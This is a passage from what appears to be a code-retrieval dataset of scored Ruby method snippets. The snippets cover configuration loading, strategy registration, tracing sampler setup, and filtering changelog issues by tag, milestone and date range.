"text": "def process\n process_setting_specs\n process_shard_specs\n process_connection_specs\n end", "title": "" }, { "docid": "cf452c7d6500f7fc26bc1caf2603b767", "score": "0.4651611", "text": "def initialize(options={})\n config = options[:config]\n if config.nil?\n # Look in codedir first, then confdir\n config = File.join(Util.code_dir, 'hiera.yaml')\n config = File.join(Util.config_dir, 'hiera.yaml') unless File.exist?(config)\n end\n @config = Config.load(config)\n\n Config.load_backends\n end", "title": "" }, { "docid": "ff8333902b86e3a7bb360bdb5401330b", "score": "0.46474907", "text": "def load_auto_conf_migrated_to_ric_gem(confname, opts={})\n dirs = opts.fetch :dirs, ['.', '~', '/etc/']\n file_patterns = opts.fetch :file_patterns, [\".#{confname}.yml\", \"#{confname}/conf.yml\"]\n sample_hash = opts.fetch :sample_hash, {\n 'load_auto_conf' => \"please add an :sample_hash to me\" , \n :anyway => \"I'm in #{__FILE__}\" \n }\n verbose = opts.fetch :verbose, true\n puts \"load_auto_conf('#{confname}') start..\" if verbose\n dirs.each{|d|\n dir = File.expand_path(d)\n deb \"DIR: #{dir}\"\n file_patterns.each{|fp|\n # if YML exists return the load..\n file = \"#{dir}/#{fp}\"\n deb \" - FILE: #{file}\"\n if File.exists?(file)\n puts \"Found! #{green file}\"\n yaml = YAML.load( File.read(file) )\n deb \"load_auto_conf('#{confname}') found: #{green yaml}\" \n return yaml\n end\n }\n }\n puts \"Conf not found. Try this:\n---------------------------\n$ cat > ~/#{file_patterns.first}\\n#{yellow \"#Creatd by ric.rb:load_auto_conf()\" + sample_hash.to_yaml }\n---------------------------\n\"\n raise \"LoadAutoConf: configuration not found for '#{confname}'!\"\n return sample_hash\nend", "title": "" }, { "docid": "fefa54e46373ad5f61947dc489fa3fce", "score": "0.46453387", "text": "def use(strategy)\n prediction_strategies << strategy\n end", "title": "" }, { "docid": "3a52dc553f9c38a218acc991283becbb", "score": "0.46436048", "text": "def setup\n return Squire::Settings.new unless @source\n\n parser = Squire::Parser.of(@type)\n\n hash = parser.parse(source).with_indifferent_access\n\n if base_namespace\n hash.except(base_namespace).each do |key, values|\n # favours value from namespace over value from defaults\n hash[key] = hash[base_namespace].deep_merge(values) { |_, default, value| value.nil? ? default : value }\n end\n end\n\n Squire::Settings.from_hash(hash)\n end", "title": "" }, { "docid": "ec04b192c47df419a57dc7c89dfa6218", "score": "0.4641537", "text": "def register_custom_strategies\n Unleash::Strategy.constants\n .select{ |c| Unleash::Strategy.const_get(c).is_a? Class }\n .reject{ |c| ['NotImplemented', 'Base'].include?(c.to_s) } # Reject abstract classes\n .map{ |c| Object.const_get(\"Unleash::Strategy::#{c}\") }\n .reject{ |c| DEFAULT_STRATEGIES.include?(c) } # Reject base classes\n .each do |c|\n strategy = c.new\n warn_deprecated_registration(strategy, 'adding custom class into Unleash::Strategy namespace')\n self.add(strategy)\n end\n end", "title": "" }, { "docid": "d2341d0011c5e942bef77dd5535f0db6", "score": "0.46348375", "text": "def run!\n @application.load_configuration_file_or_read_the_options!(@options)\n case\n when options.include?(:show_heuristics?)\n list_heuristics!\n when options.include?(:generate_file)\n Generator.new(options)\n else\n @application.run_global_commands!\n start_continuous_testing!\n end\n end", "title": "" }, { "docid": "f38cbd39ccc94de3312f1b5f97cc0729", "score": "0.4628496", "text": "def process_configuration_files(configuration)\n plugin_element = nil\n configuration.plugin_paths.split(\";\").each do |path|\n Dir.foreach(path) do |file|\n if file!=\"..\" and file!=\".\" and File.stat(\"#{path}/#{file}\").directory?\n filespec = \"#{path}/#{file}/plugin.xml\"\n next unless File.exist?(filespec)\n each_plugin_element(filespec) do |plugin_element| \n FreeBASE::Plugin.new(self, filespec, plugin_element)\n end\n elsif file[-4..-1]==\".xml\" and !File.stat(\"#{path}/#{file}\").directory?\n filespec = \"#{path}/#{file}\"\n each_plugin_element(filespec) do |plugin_element| \n FreeBASE::Plugin.new(self, filespec, plugin_element)\n end\n end\n end\n end\n end", "title": "" }, { "docid": "f0c625aa28c359296a8577a9447360f9", "score": "0.46280238", "text": "def loadConfigs()\n fh = File.open(@fileName_vars, \"r\")\n\n fh.each do |line| \n line.gsub!(/[\\s]/, '') # removes white spaces \n\n if(!(/^\\#/.match(line)) && /:/.match(line)) # only considers lines not begining with #\n line.sub!(/\\#.*$/, '') # removes all trailing comments\n line.upcase!\n arr_configs = line.split(/:/)\n case arr_configs[0] \n when FOLDER_DATA\n @folder_data = arr_configs[1]\n when FOLDER_DB\n @folder_db = arr_configs[1]\n when FOLDER_BLASTRES\n @folder_blastRes = arr_configs[1]\n when FOLDER_FINALRES\n @folder_finalRes = arr_configs[1]\n end \n #puts arr[0] + \"\\t\" + arr[1]\n #puts line\n end \n\n end \n\n fh.close\n end", "title": "" }, { "docid": "084a4397b18f309c05f8901641fbed23", "score": "0.4626534", "text": "def build_sampler(settings)\n if (sampler = settings.tracing.sampler)\n if settings.tracing.priority_sampling == false\n sampler\n else\n ensure_priority_sampling(sampler, settings)\n end\n elsif (rules = settings.tracing.sampling.rules)\n post_sampler = Tracing::Sampling::RuleSampler.parse(\n rules,\n settings.tracing.sampling.rate_limit,\n settings.tracing.sampling.default_rate\n )\n\n post_sampler ||= # Fallback RuleSampler in case `rules` parsing fails\n Tracing::Sampling::RuleSampler.new(\n rate_limit: settings.tracing.sampling.rate_limit,\n default_sample_rate: settings.tracing.sampling.default_rate\n )\n\n Tracing::Sampling::PrioritySampler.new(\n base_sampler: Tracing::Sampling::AllSampler.new,\n post_sampler: post_sampler\n )\n elsif settings.tracing.priority_sampling == false\n Tracing::Sampling::RuleSampler.new(\n rate_limit: settings.tracing.sampling.rate_limit,\n default_sample_rate: settings.tracing.sampling.default_rate\n )\n else\n Tracing::Sampling::PrioritySampler.new(\n base_sampler: Tracing::Sampling::AllSampler.new,\n post_sampler: Tracing::Sampling::RuleSampler.new(\n rate_limit: settings.tracing.sampling.rate_limit,\n default_sample_rate: settings.tracing.sampling.default_rate\n )\n )\n end\n end", "title": "" }, { "docid": "fa0741577032a843edd11d13bbd89d8f", "score": "0.46231946", "text": "def add_strategy(strategy)\n strategy = strategy.new(feature_set: self) if strategy.is_a? Class\n @strategies[strategy.name] = strategy\n end", "title": "" }, { "docid": "18164831b77cc03a1fec36525a0e332c", "score": "0.46208197", "text": "def load_config!\n if options[:config]\n config_inst = Config.new(options[:config])\n elsif self.class.const_defined?(:DEFAULT_CONFIGURATION_FILES)\n path = self.class.const_get(:DEFAULT_CONFIGURATION_FILES).detect do |check|\n full_check = File.expand_path(check)\n File.exists?(full_check)\n end\n config_inst = Config.new(path) if path\n end\n if config_inst\n options.delete(:config)\n defaults_inst = Smash[\n config_class.new(\n defaults.to_smash\n ).to_smash.find_all do |key, value|\n defaults.key?(key)\n end\n ]\n config_data = config_inst.data\n config_inst = Smash[\n config_inst.to_smash.find_all do |key, value|\n config_data.key?(key)\n end\n ]\n options_inst = Smash[\n config_class.new(\n options.to_smash\n ).to_smash.find_all do |key, value|\n options.key?(key)\n end\n ]\n @options = config_class.new(\n defaults_inst.to_smash.deep_merge(\n config_inst.to_smash.deep_merge(\n options_inst.to_smash\n )\n )\n ).to_smash\n else\n @options = config_class.new(\n defaults.to_smash.deep_merge(\n options.to_smash\n )\n ).to_smash\n end\n options\n end", "title": "" } ]
3b8851753abace78ac7d99f7e44b39b2
Method filter issues, that belong only specified tag range
[ { "docid": "7b175cd469874ccac07551187e46df20", "score": "0.0", "text": "def delete_by_time(issues, hash_key = \"actual_date\", older_tag = nil, newer_tag = nil)\n # in case if not tags specified - return unchanged array\n return issues if older_tag.nil? && newer_tag.nil?\n\n older_tag = ensure_older_tag(older_tag, newer_tag)\n\n newer_tag_time = newer_tag && get_time_of_tag(newer_tag)\n older_tag_time = older_tag && get_time_of_tag(older_tag)\n\n issues.select do |issue|\n if issue[hash_key]\n time = Time.parse(issue[hash_key].to_s).utc\n\n tag_in_range_old = tag_newer_old_tag?(older_tag_time, time)\n\n tag_in_range_new = tag_older_new_tag?(newer_tag_time, time)\n\n tag_in_range = tag_in_range_old && tag_in_range_new\n\n tag_in_range\n else\n false\n end\n end\n end", "title": "" } ]
[ { "docid": "b55981055485b49c158f7622a24758e5", "score": "0.76319796", "text": "def filter_issues_for_tags(newer_tag, older_tag); end", "title": "" }, { "docid": "a46fc653d73e09ea82f1965e4b7536f7", "score": "0.6896141", "text": "def filter_by_tag(issues, newer_tag = T.unsafe(nil)); end", "title": "" }, { "docid": "4d44cd77cc13c592f13accf1293bcaa8", "score": "0.6682533", "text": "def filtered_tags; end", "title": "" }, { "docid": "8f3eeb4f5fa2c17632c7228fe44d8930", "score": "0.6595936", "text": "def filter_by_tag(issues, newer_tag = nil)\n issues.select do |issue|\n issue[\"first_occurring_tag\"] == (newer_tag.nil? ? nil : newer_tag[\"name\"])\n end\n end", "title": "" }, { "docid": "8d4d393e4e0a1215e6babf7e92dc785f", "score": "0.6431777", "text": "def filtered_tags=(_arg0); end", "title": "" }, { "docid": "0fca88f1b0d7c90325708e8ab22b372f", "score": "0.6222762", "text": "def get_filtered_tags(all_tags); end", "title": "" }, { "docid": "fd407079bb457d4597e5bfd2c17f0178", "score": "0.621529", "text": "def get_filtered_issues(issues); end", "title": "" }, { "docid": "eb74a8f155b756f9bbe08374cce069b6", "score": "0.6019771", "text": "def fetch_and_filter_tags; end", "title": "" }, { "docid": "3d7af4ecbb6074da7b57e39c3ea0201a", "score": "0.6003094", "text": "def filter_matching_changes(changes)\n return changes if tags.nil?\n\n changes.select { |t, _v| t >= tags }\n end", "title": "" }, { "docid": "38c5fdb1081d75833ecbb1a9ad05dd6c", "score": "0.59859246", "text": "def filter_issues_for_tags(newer_tag, older_tag)\n filtered_pull_requests = delete_by_time(@pull_requests, :actual_date, older_tag, newer_tag)\n filtered_issues = delete_by_time(@issues, :actual_date, older_tag, newer_tag)\n\n newer_tag_name = newer_tag.nil? ? nil : newer_tag[\"name\"]\n\n if @options[:filter_issues_by_milestone]\n # delete excess irrelevant issues (according milestones). Issue #22.\n filtered_issues = filter_by_milestone(filtered_issues, newer_tag_name, @issues)\n filtered_pull_requests = filter_by_milestone(filtered_pull_requests, newer_tag_name, @pull_requests)\n end\n [filtered_issues, filtered_pull_requests]\n end", "title": "" }, { "docid": "700052994f6511baa851227c84999528", "score": "0.5962488", "text": "def filter_issues_for_tags(newer_tag, older_tag)\n filtered_pull_requests = filter_by_tag(@pull_requests, newer_tag)\n filtered_issues = delete_by_time(@issues, \"actual_date\", older_tag, newer_tag)\n\n newer_tag_name = newer_tag.nil? ? nil : newer_tag[\"name\"]\n\n if options[:filter_issues_by_milestone]\n # delete excess irrelevant issues (according milestones). Issue #22.\n filtered_issues = filter_by_milestone(filtered_issues, newer_tag_name, @issues)\n filtered_pull_requests = filter_by_milestone(filtered_pull_requests, newer_tag_name, @pull_requests)\n end\n [filtered_issues, filtered_pull_requests]\n end", "title": "" }, { "docid": "0d4e67959ef294f906c89c5f8130b374", "score": "0.59428024", "text": "def filter(issue)\n raise NotImplementedError\n end", "title": "" }, { "docid": "8618f6fb6c092181780971f8c45aa8cf", "score": "0.5934146", "text": "def issues_in_range(date1, date2)\n issues_in_range = Array.new\n @total_issues.each do |iss|\n if iss[:created_at] < date2 and iss[:created_at] > date1\n issues_in_range << iss\n end\n end\n return issues_in_range\n end", "title": "" }, { "docid": "c323bb6fdd395b308e8e2e6e1f4a4b1f", "score": "0.5908114", "text": "def get_filtered_tags(all_tags)\n filtered_tags = filter_since_tag(all_tags)\n filter_due_tag(filtered_tags)\n end", "title": "" }, { "docid": "885570c06818beac176bfa3c80cc3059", "score": "0.59013385", "text": "def filtered_tags opts = {}\n tagscope = Tag.unscoped\n tagscope = tagscope.where(tagtype: Tag.typenum(opts[:tagtype])) if opts[:tagtype]\n tagscope = tagscope.where.not(tagtype: Tag.typenum(opts[:tagtype_x])) if opts[:tagtype_x]\n tagging_constraints = opts.slice(:user_id).merge entity: self\n tagscope.joins(:taggings).where(taggings: tagging_constraints).distinct\n end", "title": "" }, { "docid": "155a24071088838827892487ada23e65", "score": "0.5868271", "text": "def filter_tags(tl, filter)\n\ti=0\n\tmsg = \"\"\n\n\ttl.each do |tag|\n\t\tif tag.id =~ filter \n\t\t\tmsg <<( i.to_s + \"\\t\" + tag.id + \"\\r\\n\")\n\t\tend\n\t\ti+=1\n\tend\n\treturn msg\nend", "title": "" }, { "docid": "65504bece4b43bf9603cd2443985c3fe", "score": "0.583978", "text": "def filter(issues)\n issues.select do |issue|\n issue_labels = issue.labels.map(&:name).to_set\n issue.pull_request? && (issue_labels.empty? || issue_labels.intersect?(INCLUSIVE_LABELS))\n end\n end", "title": "" }, { "docid": "7c6b4d8d9ba1c10821decdf3aad53fe5", "score": "0.58170056", "text": "def get_filtered_tags(all_tags)\n filtered_tags = filter_between_tags(all_tags)\n filter_excluded_tags(filtered_tags)\n end", "title": "" }, { "docid": "ec9d34286d29067efda7afe3ef28cd8e", "score": "0.5786291", "text": "def filter_tags(tl, filter)\n\ti=0\n\ttagList= Array.new()\n\n\ttl.each do |tag|\n\t\t#puts \"individual tag: \" + tag.id\n\t\tif tag.id =~ /\\A\\d{4}\\Z/\n\t\t\ttagList[i] = tag.id\n\t\t\ti+=1\n\t\tend\n\n\t\t#if tag.id =~ filter \n\t\t#\tmsg <<( i.to_s + \"\\t\" + tag.id + \"\\r\\n\")\n\t\t#end\n\t\t\n\tend\n\treturn tagList\nend", "title": "" }, { "docid": "171a498745c0a90fd924b88d63fccbd9", "score": "0.5716806", "text": "def _tags(filter)\n self.send(filter)\n end", "title": "" }, { "docid": "90bdf9596ace84992e1fb9f89a343070", "score": "0.5706197", "text": "def minExclusive_tags\n end", "title": "" }, { "docid": "07cb9588f5129ea22029e25f073378bd", "score": "0.56877136", "text": "def scan_filtered_snippets\n self.scan_snippets.select { |snip| snip.tag? }\n end", "title": "" }, { "docid": "3b273b00001dbbbc194390655525cb88", "score": "0.56293416", "text": "def range_filter(job_params, field)\n job_params[:searchRequest][:body][:query][:bool][:filter].each do |filter|\n return filter[:range] if filter[:range] && filter[:range][field]\n end\n end", "title": "" }, { "docid": "223bdd68c71f6f49b0d0d1b99edc530a", "score": "0.5624861", "text": "def filter(filter)\n tl = ThinkifyTagList.new\n \n self.each do |ele|\n if ele.epc.to_s =~ filter \n tl.add_tag(ele)\n end\n end\n \n return tl\n end", "title": "" }, { "docid": "fb1f4176cb4ef1a344d3d47ba1d0455e", "score": "0.56248504", "text": "def filter_date_range!(from, to, log)\n if from && to # ignore 'all time'\n log.keys.each do |channel|\n if log[channel].length > 0\n i = log[channel].index {|t, text| t >= from }\n j = log[channel].rindex {|t, text| t <= to }\n log[channel] = log[channel][i..j]\n end\n end\n end\n end", "title": "" }, { "docid": "ba6d441d6164395b6c79c0a1135b6f10", "score": "0.56211764", "text": "def get_filtered_tags(all_tags)\n filtered_tags = filter_since_tag(all_tags)\n filtered_tags = filter_between_tags(filtered_tags)\n filter_excluded_tags(filtered_tags)\n end", "title": "" }, { "docid": "adf54c3572c06bad4d19db9b0b2ffcb1", "score": "0.56172526", "text": "def sanitize_tags!\n @tags.keep_if do |k,v|\n (k.is_a?(Symbol) || k.is_a?(String) && k.length <= 100) &&\n (((v.is_a?(Symbol) || v.is_a?(String)) && v.length <= 100) || (v.is_a?(Integer)))\n end\n end", "title": "" }, { "docid": "4087b6a41b936c81a3da596e44442616", "score": "0.56153995", "text": "def filtering; end", "title": "" }, { "docid": "08ecfc5d5251841112a950c6a2dcc756", "score": "0.55634856", "text": "def filter; end", "title": "" }, { "docid": "08ecfc5d5251841112a950c6a2dcc756", "score": "0.55634856", "text": "def filter; end", "title": "" }, { "docid": "08ecfc5d5251841112a950c6a2dcc756", "score": "0.55634856", "text": "def filter; end", "title": "" }, { "docid": "08ecfc5d5251841112a950c6a2dcc756", "score": "0.55634856", "text": "def filter; end", "title": "" }, { "docid": "08ecfc5d5251841112a950c6a2dcc756", "score": "0.55634856", "text": "def filter; end", "title": "" }, { "docid": "71e79df6b30d417cd6e520c01e53fe8b", "score": "0.5551297", "text": "def interest_tags\n Array(tags).keep_if do |tag|\n tag.type == \"InterestTag\"\n end\n end", "title": "" }, { "docid": "b6a821bef5e4360ebd76bece2477ea2d", "score": "0.5534493", "text": "def announce_exclusion_filter(announcements); end", "title": "" }, { "docid": "102cfa4415f64360ac4a44779d6aaeb3", "score": "0.55258447", "text": "def ignored_ranges(ast); end", "title": "" }, { "docid": "1d009a4e298ad9cba75540e3998974ad", "score": "0.5517793", "text": "def tagged(filter)\n all.select { |idea| idea.tags.any? { |tag| tag =~ /#{Regexp.quote(filter)}/i } }\n end", "title": "" }, { "docid": "95bf9996ce52a8a5a865e9cbb80f11ce", "score": "0.5510477", "text": "def filtered_picture_tags #returns all PictureTags where instance of Tag = pictureTag.tag\n PictureTag.all.select { |t| t.tag == self }\n end", "title": "" }, { "docid": "afc1ee51028c7f7fa06b069d700dcfc8", "score": "0.55104125", "text": "def check_tagfilter(params)\n \tif params.nil?\n \t return nil\n \telse\n \t return Array.new(params).uniq\n \tend\n end", "title": "" }, { "docid": "31314f8f49559b9b4245c9c1ffd86574", "score": "0.54655963", "text": "def tags\n rule.collection.find({value: {'$gt' => 0 }}).sort(_id: 1).to_a.map{ |t| t['_id'] }\n end", "title": "" }, { "docid": "dcc6749c2270ff875d24ec6eecdfc64f", "score": "0.54651546", "text": "def filter\n end", "title": "" }, { "docid": "36957f30a207dfb881e126afe303db34", "score": "0.54547185", "text": "def filter_merged_pull_requests(pull_requests); end", "title": "" }, { "docid": "9967c6256843c1615627eb2777070d12", "score": "0.54125744", "text": "def normal_tags\n node_tags = DrupalNodeCommunityTag.find(:all,:conditions => ['nid = ? AND tid IN (?)',self.id,DrupalTag.find(:all, :conditions => [\"name NOT LIKE ? AND name NOT LIKE ?\",\"%:%\",\"event\"]).collect(&:tid)])\n tags = []\n node_tags.each do |nt|\n tags << nt\n end\n tags\n end", "title": "" }, { "docid": "4ab92c4cb88620df520145cc4cede747", "score": "0.5390489", "text": "def systemsfilter_bytag(systems, tag)\n begin\n num_systems = systems.length\n numwithtag = 0\n withtag = Array.new\n num = 0\n while num < num_systems\n h = systems[num]\n if (!h['uuid'].nil?) && (h['hid'] == 0)\n ha = h['a']\n unless ha['t'].nil?\n if ha['t'].include?(tag)\n withtag[numwithtag] = h\n numwithtag = numwithtag + 1\n end\n end\n end\n num = num + 1\n end\n return withtag\n rescue Exception => e\n puts \"\\nsystemsfilter_bytag exception ... error is \" + e.message + \"\\n\"\n return nil\n end\nend", "title": "" }, { "docid": "d29f42b345ee0b034bcd1fc5a53d6982", "score": "0.5374552", "text": "def get_filtered_pull_requests(pull_requests); end", "title": "" }, { "docid": "6cf43dca554fe9731ba6cf72e2fb4a16", "score": "0.53692204", "text": "def filter_by_tag(tag)\n get_venues_for_filtering\n @venues_to_filter.each do |venue|\n venue[\"tags\"].each do |venue_tag|\n if venue_tag.downcase == tag.downcase\n @venues_by_tag << venue[\"name\"]\n end\n end\n end\n end", "title": "" }, { "docid": "6fa1f250b5975d136f6cb04dbb1ff001", "score": "0.53600997", "text": "def tag_limits; end", "title": "" }, { "docid": "fc753556d7482f7add1b9d3554626679", "score": "0.5354709", "text": "def filter_by_tag(content_collection, tags)\n filtered = []\n content_collection.each { |item|\n tags.each do |tag|\n if item[\"tags\"].include?(tag) || item[\"tags\"].include?(tag.capitalize)\n filtered.push(item)\n next\n end\n end\n }\n filtered\n end", "title": "" }, { "docid": "bd3fb3b54dc5af69dad42a3282f12726", "score": "0.5347106", "text": "def filter_instances_with_tags(instances)\n instances.select do |instance|\n value = gather_instance_tag_date(instance)\n value && (Date.today.to_s < value.to_s)\n end\n end", "title": "" }, { "docid": "bd3fb3b54dc5af69dad42a3282f12726", "score": "0.5347106", "text": "def filter_instances_with_tags(instances)\n instances.select do |instance|\n value = gather_instance_tag_date(instance)\n value && (Date.today.to_s < value.to_s)\n end\n end", "title": "" }, { "docid": "2694df6480e86d3f7880ebcd5dd3cf42", "score": "0.53402776", "text": "def posts_for_tag(tag)\n tag = tag.downcase\n posts.select { |p| p.tags.to_s.match(tag) }\n end", "title": "" }, { "docid": "1ff69b76252d3a050cb96064f71f99be", "score": "0.5333613", "text": "def invalid_ranges\n @ranges.reject(&:accepted).map { |range| [@tiers, range.string].flatten.join(TAB) }\n end", "title": "" }, { "docid": "1f8d3a83b83b636205670d50c12db188", "score": "0.53299505", "text": "def _taggings(filter)\n self.send(\"#{filter}_taggings\")\n end", "title": "" }, { "docid": "8ade569e8cac816faaae3c66fef3b876", "score": "0.5328839", "text": "def range_where\n #close_by.and(not_self).and(approved)\n close_by.and(approved)\n end", "title": "" }, { "docid": "6b7898a574ee10f0ec4ecb1d8ed423f3", "score": "0.5322985", "text": "def add_tag_filters\n return if options[:tag_ids].blank?\n field = logged_in? ? \"tags.id\" : \"public_tags.id\"\n options[:tag_ids].map do |id|\n body.filter(:term, field => id)\n end\n end", "title": "" }, { "docid": "8407e5733db4b8f958d9bffebadd247c", "score": "0.5322537", "text": "def career_tags\n Array(tags).keep_if do |tag|\n tag.type == \"CareerTag\"\n end\n end", "title": "" }, { "docid": "d6f613faab5122aae40317f8cf0482b6", "score": "0.53016186", "text": "def tag_ranges(tag_name)\n [*execute(:tag, :ranges, tag_name)].each_slice(2).to_a\n end", "title": "" }, { "docid": "7560c090a86082e3979a005f4fe78fdd", "score": "0.52952605", "text": "def filter(event)\n storyPoints = event.get(\"[issues][fields][customfield_10052]\")\n \n sizes = {\"XS\" => 1, \"S\" => 3, \"M\" => 5, \"L\" => 10, \"XL\" => 15}\n components = event.get(\"[issues][fields][components]\").select do |c|\n sizes.include? c[\"name\"]\n end\n\n if storyPoints.nil?\n unless components.empty?\n size = components.first[\"name\"]\n\n event.set(\"[issues][fields][StoryPoints]\", sizes[size])\n end\n else\n event.set(\"[issues][fields][StoryPoints]\", storyPoints)\n end\n\n [event]\nend", "title": "" }, { "docid": "d6a37ec69d0a8ad0b503c293b90f6e70", "score": "0.52834624", "text": "def applicable_tags\n\n end", "title": "" }, { "docid": "ee75e86491364a37b6407985397981a7", "score": "0.5277818", "text": "def filtered?\n range.exclude? row[:human_ref].to_i\n end", "title": "" }, { "docid": "ddce54fdc2500013802e80660a4a5506", "score": "0.52773505", "text": "def remove_outliers(report,threshold)\n begin\n wikipediator = Wikipediator.new\n filtered_annotations = Array.new\n totals = Array.new \n\n if threshold.class == \"String\"\n threshold = threshold.downcase\n end\n\n terms = report.taggable_tag_annotations.map{|annotation| annotation.tag.name}\n \n annotations = report.taggable_tag_annotations.map{|annotation| annotation}\n \n annotations.each do |annotation|\n puts annotation.wikipedia_article_id\n end \n \n annotations.each do |annotation_x|\n total_relatedness = 0\n annotations.each do |annotation_y| \n relatedness = wikipediator.compare(annotation_x.wikipedia_article_id.to_i, annotation_y.wikipedia_article_id.to_i)\n total_relatedness = total_relatedness + relatedness.to_f\n end\n puts \"Annotations Size: \" + annotations.size.to_s\n total_relatedness = total_relatedness / annotations.size.to_f\n if threshold != \"gravitational center\"\n if total_relatedness >= threshold\n filtered_annotations << annotation_x\n totals << {:annotation => annotation_x, :name => annotation_x.tag.name, :relatedness => total_relatedness}\n end\n elsif threshold == \"gravitational center\"\n filtered_annotations << annotation_x\n totals << {:annotation => annotation_x, :name => annotation_x.tag.name, :relatedness => total_relatedness} \n end\n end\n totals = totals.sort_by { |hsh| hsh[:relatedness] }\n totals.each do |total|\n puts total[:name].to_s + \" \" + total[:relatedness].to_s\n end\n if threshold == \"gravitational center\"\n filtered_annotations = Array.new\n filtered_annotations << totals.last[:annotation]\n return filtered_annotations\n end\n return filtered_annotations\n rescue Exception => e\n puts \"Exception remove outliers\"\n puts e.message\n puts e.backtrace.inspect\n end\n end", "title": "" }, { "docid": "fd1ea8c71834885d7102ba2d0137b5bd", "score": "0.52654886", "text": "def scan_tags\n self.body.scan(/#\\w+/).uniq\n end", "title": "" }, { "docid": "f7ded8d66be5fdeede2dc626cd67f42b", "score": "0.5263863", "text": "def restricted_tags\n []\n end", "title": "" }, { "docid": "1258c8fefd8bb43ebec9446f110b7b01", "score": "0.5257555", "text": "def remove_ip_range(from, to)\n @assets = assets.reject { |asset| asset == IPRange.new(from, to) }\n end", "title": "" }, { "docid": "3d85d58d60026173f2efcf301a5ecd8a", "score": "0.5252662", "text": "def filter_by_date(scoped, range = 'created', from = nil, to = nil)\n newer_than_sql = \"labels.#{range}_at >= ?\"\n older_than_sql = \"labels.#{range}_at <= ?\"\n\n updated_scope = from ? scoped.where(newer_than_sql, Time.at(from.to_i)) : scoped\n to ? updated_scope.where(older_than_sql, Time.at(to.to_i)) : updated_scope\n end", "title": "" }, { "docid": "1bdadcc2f6d3a6f2bf8d5243ffbe5a48", "score": "0.52464914", "text": "def filter\r\n raise NotImplementedError\r\n end", "title": "" }, { "docid": "b19b423ff3272e94e7172e8d6a7e1c96", "score": "0.5245324", "text": "def get_tags(model)\n model.find(:all, :limit => 20).select{|x| \n x.tags.split(/\\s+/).include?(@tag) if x.tags\n } rescue [ 'exception', 'get_tags', \"Exception: #{$!}\" ]\n end", "title": "" }, { "docid": "3f90522113428fc1dbe3d03e0247aea9", "score": "0.5242095", "text": "def add_filter(tag)\n if tag.start_with?('~')\n @exclusive_filters << tag[1..]\n else\n @inclusive_filters << tag\n end\n end", "title": "" }, { "docid": "d34a685bb72792ce9cb76a294a42f985", "score": "0.52308834", "text": "def tags() end", "title": "" }, { "docid": "8df1662023d41743fa77924692e9315d", "score": "0.5223789", "text": "def remove_filter_tagging(tag)\n filter = tag.filter\n if filter\n filters_to_remove = [filter] + filter.meta_tags\n filters_to_remove.each do |filter_to_remove|\n if self.filters.include?(filter_to_remove)\n all_sub_tags = filter_to_remove.sub_tags + [filter_to_remove]\n sub_mergers = all_sub_tags.empty? ? [] : all_sub_tags.collect(&:mergers).flatten.compact\n all_tags_with_filter_to_remove_as_meta = all_sub_tags + sub_mergers\n remaining_tags = self.tags - [tag]\n if (remaining_tags & all_tags_with_filter_to_remove_as_meta).empty? # none of the remaining tags need filter_to_remove\n self.filters.delete(filter_to_remove)\n filter_to_remove.reset_filter_count\n else # we should keep filter_to_remove, but check if inheritence needs to be updated\n direct_tags_for_filter_to_remove = filter_to_remove.mergers + [filter_to_remove]\n if (remaining_tags & direct_tags_for_filter_to_remove).empty? # not tagged with filter or mergers directly\n ft = self.filter_taggings.where([\"filter_id = ?\", filter_to_remove.id]).first\n ft.update_attribute(:inherited, true)\n end\n end\n end\n end\n end\n end", "title": "" }, { "docid": "1c6d09863d3d23066d3d675d90d903f1", "score": "0.52234155", "text": "def visitRangeExpression(ctx)\n\n end", "title": "" }, { "docid": "fbee8a3603f013287146b638e8f9edb9", "score": "0.52076", "text": "def rssi_filter(rssi_min, rssi_max)\n tl = ThinkifyTagList.new \n self.each do |ele|\n if (ele.rssi > rssi_min and ele.rssi < rssi_max)\n tl.add_tag(ele)\n end\n end \n \n return tl \n end", "title": "" }, { "docid": "f85bb09877cadebc6f6f7cbd5fe3c687", "score": "0.52046746", "text": "def filter_instance_without_tags(instances)\n instances.select do |instance|\n value = gather_instance_tag_date(instance)\n value.nil? || (Date.today.to_s >= value.to_s)\n end\n end", "title": "" }, { "docid": "7b087b7085d90f7d5cf1ac6c67a43cd7", "score": "0.5195198", "text": "def filter_instances_without_tags(instances)\n instances.select do |instance|\n value = gather_instance_tag_date(instance)\n value.nil? || (Date.today.to_s >= value.to_s)\n end\n end", "title": "" }, { "docid": "98a79e2edf5f1dc9bdade2280494edb8", "score": "0.5194507", "text": "def find_issues_to_add(all_issues, tag_name); end", "title": "" }, { "docid": "9d540c850f82f6c88061b5ee1a9e3259", "score": "0.51919436", "text": "def remove(range); end", "title": "" }, { "docid": "9d540c850f82f6c88061b5ee1a9e3259", "score": "0.51919436", "text": "def remove(range); end", "title": "" }, { "docid": "f707278f8ab8258c73f0d5a3b593b30a", "score": "0.5191142", "text": "def exclusion_filter; end", "title": "" }, { "docid": "d5d0e11cb12fdee0fca7b902dea6848d", "score": "0.51899695", "text": "def filter_tags(post, tag_names)\n tag_names.map do |name|\n name unless post.tags.find_by_name(name)\n end\n end", "title": "" }, { "docid": "ef78b8a902d25cf04a43e995103c1618", "score": "0.51830596", "text": "def remove_from_tag_filter(tag)\n if tag_list_params[:tagged_with].present?\n tags = tag_list_params[:tagged_with].split(',')\n tags.delete_if { |t| t == tag.name }\n else\n []\n end\n end", "title": "" }, { "docid": "a6d1a099ed7e23f214cddac1812aec17", "score": "0.51808923", "text": "def check_filter_taggings\n current_filters = self.tags.collect{|tag| tag.canonical? ? tag : tag.merger }.compact\n current_filters.each {|filter| self.add_filter_tagging(filter)}\n filters_to_remove = self.filters - current_filters\n unless filters_to_remove.empty?\n filters_to_remove.each {|filter| self.remove_filter_tagging(filter)}\n end\n return true \n end", "title": "" }, { "docid": "a6d1a099ed7e23f214cddac1812aec17", "score": "0.51808923", "text": "def check_filter_taggings\n current_filters = self.tags.collect{|tag| tag.canonical? ? tag : tag.merger }.compact\n current_filters.each {|filter| self.add_filter_tagging(filter)}\n filters_to_remove = self.filters - current_filters\n unless filters_to_remove.empty?\n filters_to_remove.each {|filter| self.remove_filter_tagging(filter)}\n end\n return true \n end", "title": "" }, { "docid": "15408fa9308ed3c1ebba0c73d713942b", "score": "0.51763767", "text": "def delete_tags\n rules = RSpec.world.filter_manager.inclusions.rules\n if rules.find { |k,v| k == :last_run_status }\n rules.delete_if { |k,v| k != :last_run_status }\n end\n if rules.find { |k,v| k == :focus }\n rules.delete_if { |k,v| k != :focus }\n end\nend", "title": "" }, { "docid": "fc7d82e26b48d648dacd74ec019d99d1", "score": "0.5173556", "text": "def tags instance\n instance.groupSet.item.collect{|g| 